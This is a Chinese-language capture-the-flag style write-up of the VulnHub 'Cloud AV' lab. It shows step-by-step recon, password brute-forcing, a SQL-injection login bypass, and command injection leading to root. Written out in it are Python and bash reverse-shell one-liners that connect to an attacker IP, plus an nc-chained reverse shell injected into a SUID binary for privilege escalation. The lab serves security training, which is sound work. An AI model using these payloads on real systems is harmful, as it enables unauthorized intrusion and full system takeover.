作者名:Demo不是emo
主页面链接:主页传送门 创作初心:舞台再大,你不上台,永远是观众,没人会关心你努不努力,摔的痛不痛,他们只会看你最后站在什么位置,然后羡慕或鄙夷 座右铭:不要让时代的悲哀成为你的悲哀 专研方向:网络安全,数据结构
每日emo:超越者
从上周开始制定了为期24周的打靶训练(每周一次),所以今天开始进行24次系统性打靶第二次训练,每次打靶后都会分享靶场攻略和总结的知识点,如果对渗透测试和打靶比较感兴趣的小伙伴们也可以跟着我一起训练哦(这24个靶场都是精挑细选的,基本覆盖了渗透测试需要了解的全部类型的漏洞),我们直接进行第二次打靶训练
第二次打靶训练针对的知识点如下
本周我们学习的对应靶场就是BOREDHACKERBLOG: CLOUD AV(低等难度),靶场环境来源于VulnHub,该网站有很多虚拟机靶场,靶场入口在这,推荐大家使用,大家进去直接搜索BOREDHACKERBLOG: CLOUD AV就能下载今天的靶场了,或者点击下面的链接也能打开下载地址
目录
[ [1]密码爆破 ](#t8)
[ [2]万能密码](#t9)
[[1].python反弹shell](#t12)
[[2]bash反弹shell ](#t13)
直接在vbox导入就可以,如果出现了报错,就像下面这样把启用usb控制器关掉就可以正常打开了
这里除了到vulnhub下载到的目标虚拟机环境,还需要一台kali,并且两台处于同一网段(可以都用桥接模式),这里用的是virtual来给大家演示具体操作,如下面这样靶机就算开启了,具体搭建过程就不多讲了,有问题的也可以私信问我
1.主机发现
先来看看我们kali攻击机的ip地址
可以看到我们的kali攻击机的ip为172.21.111.48,但是我们现在并不知道目标靶机的ip地址,所以我们第一个目标就是找到目标靶机的ip地址,也就是主机发现
我们用arp-scan扫描工具扫描同网段内的主机(该工具kali自带) ,指令如下
arp-scan -l
扫描结果如下
因为我这里是校园网存在防护,所以会扫出来很多不存在的主机,此时看最后的硬件厂商即可,上面的扫描结果可以看到只有172.21.77.55这台主机的硬件厂商与其他机器不同,所以猜测它应该就是目标靶机的ip地址
2.端口扫描
这里我们成功知道了目标的ip地址为172.21.77.55,所以我们先用namp扫描工具对目标开启的端口和服务进行探测,扫描命令如下
nmap -A 172.21.77.55
可以看到目标开启了22端口,对应着ssh服务,还开启了8080端口,对应着http服务 ,而且该网页是一个用python编写的网页,因为ssh需要账密,所以我们先去访问目标的网页看能不能从web端入手
3.web侦查
根据8080端口开放的http端口访问目标网页,页面如下
成功访问到目标页面,提示说这是一款云杀毒扫描系统,而这是页面就是该系统的登录页面,但是需要密码
看到靶机的登录框猜测是弱密码或者万能密码,甚至还有可能存在注入点但也不一定,万一存在敏感目录之类的,就有可能泄露了密码,所以我们仍然可以先进行目录扫描
4.路径爬取
所以先进行一遍目录扫描,这里我使用的是dirsearch目录扫描工具(kali自带),扫描命令如下(把ip换成你的靶机ip)
dirsearch -u "http://172.21.77.55:8080/" -e *
扫描结果如下
可以看到有两个状态码为405的页面,还有一个状态码为200的页面,先访问这个200的页面试试
该页面可以看到是一个控制台页面,但是提示需要pin值,还说明了pin值需要拿到服务器的shell后才能找到,那我们也只能暂时放弃对这个页面的探测,回到最开始的页面内
1.登录处理
[1]密码爆破
既然敏感目录暂时无法利用,就只能回到最初的页面,但是密码我们又不知道,所以首选还是对密码进行爆破,这里用物理机来访问该网页(因为我的burp在物理机),再对密码输入点进行抓包并爆破
通过查看返回长度,只有password的值长度与其他不同,所以password就是目标密码了,我们输入password,成功进入,页面如下
[2]万能密码
经过测试,这里也存在了万能密码,具体测试过程(拿万能密码字典爆破)就不多讲了
测试出来的万能密码:1" or 1=1--+
2.命令执行
经过观察登录后的页面发现,目标给我们列出来了一些文件(居然还自带netcat工具),并提示我们可以输入其中的文件名来测试云病毒查杀效果。我们先输入一个文件名cat(它列出的文件名之一)试试
结果如下:
可以看到雀氏只是对目标进行了一个扫描,但是它识别扫描目标是通过我们输入的文件名来进行的,所以也有可能解析我们的命令,所以有可能存在命令执行漏洞,我们在输入cat & id尝试一下是否有回显,对命令执行漏洞不是很清楚的小伙伴也可以去看看我的博客讲解,点此进入
可以看到在扫描了该文件的同时也执行了我们的id命令,所以的确存在命令执行漏洞
3.反弹shell
这里反弹shell有两种方式
[1].python反弹shell
代码如下,把ip和port改成自己的就可以了
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
这个太简单了,网上一大把,所以就不实际演示了,并且因为这里是通过命令执行来建立的连接,所以执行命令时还是会对文件进行病毒扫描,因此命令回显较慢
[2]bash反弹shell
代码如下,使用注意同上
hello;echo 'bash -i >& /dev/tcp/ip/port 0>&1'|bash
这里我实际使用的命令如下:
hello;echo 'bash -i >& /dev/tcp/172.21.111.48/6666 0>&1'|bash
再在kali开启监听即可拿到shell,如下
可以看到成功拿到了shell,又因为最初信息收集时知道了目标是用python写的,所以我们可以在该页面用pty创建一个功能健全的交互式shell,命令如下
python -c "import pty;pty.spawn('/bin/sh');"
效果如下
拿到权限,老规矩仔细看看各个目录是否有作者留下来的东西,果然,在家目录的当前用户文件夹下发现几个可疑文件
发现存在一个编译过的文件update_cloudav
,以及源码文件update_cloudav.c
,并且通过查看权限,发现文件拥有SUID权限,很可能就是作者留给我们的。我们cat查看一下里面的内容,如下
1.代码审计
查看c源代码文件,我们发现程序定义了一个执行参数,
如果程序在执行中不包含参数,那么会打印出这段话:This tool lets you update antivirus rules\nPlease supply command line arguments for freshclam;
如果我们执行程序使用了参数,那么程序就会执行freshclam,运行病毒库更新
意思就是重点强调了参数问题,就很容易联想到命令执行漏洞,因为此程序的权限是root,所以此程序造成的命令执行漏洞获取的权限就是root权限,也就可以达到我们提权的目的
在这里我们可以尝试执行此程序带上系统命令,看看是否存在命令执行漏洞
经过一番调试发现确实存在命令执行注入(参数7777是我随便想的,不过没出问题,应该是数字都可以)
2.nc串联反弹shell
这里我们选择利用nc串联反弹shell(对nc串联反弹shell有问题的小伙伴可以看看我的博客,其中有介绍哦,点击查看),来进行最终的提权,命令如下
./update_cloudav "7777 |nc kali的ip 第一个端口|/bin/sh|nc kali的ip 第二个端口"
在kali上新开两个终端分别开启监听两个端口,端口自己选择即可,只要不冲突就可以,这里我选择的是1234和4567端口
控制目标机器执行带有反弹shell命令的代码
此时就已经成功建立了连接,在第一个端口建立的连接终端执行命令,会在第二个连接端口的终端回显结果,可以看到现在已经是root权限了
可以看到成功拿到root权限,到这里这个靶场就结束了,这个靶场因为是低难度的所以并不是很难,但需要很强的逻辑能力和基础能力,涉及到的知识点比较基础,但还是得一步一步来,需要的时间比较多,算是一次比较全面的训练了
二十四次系统性打靶训练第二次圆满结束,每周会进行一次打靶并记录,有兴趣的可以跟我一起哦,最后感谢大家的阅读,有什么问题或者网安方面的问题随时欢迎私信或评论区讨论,respect!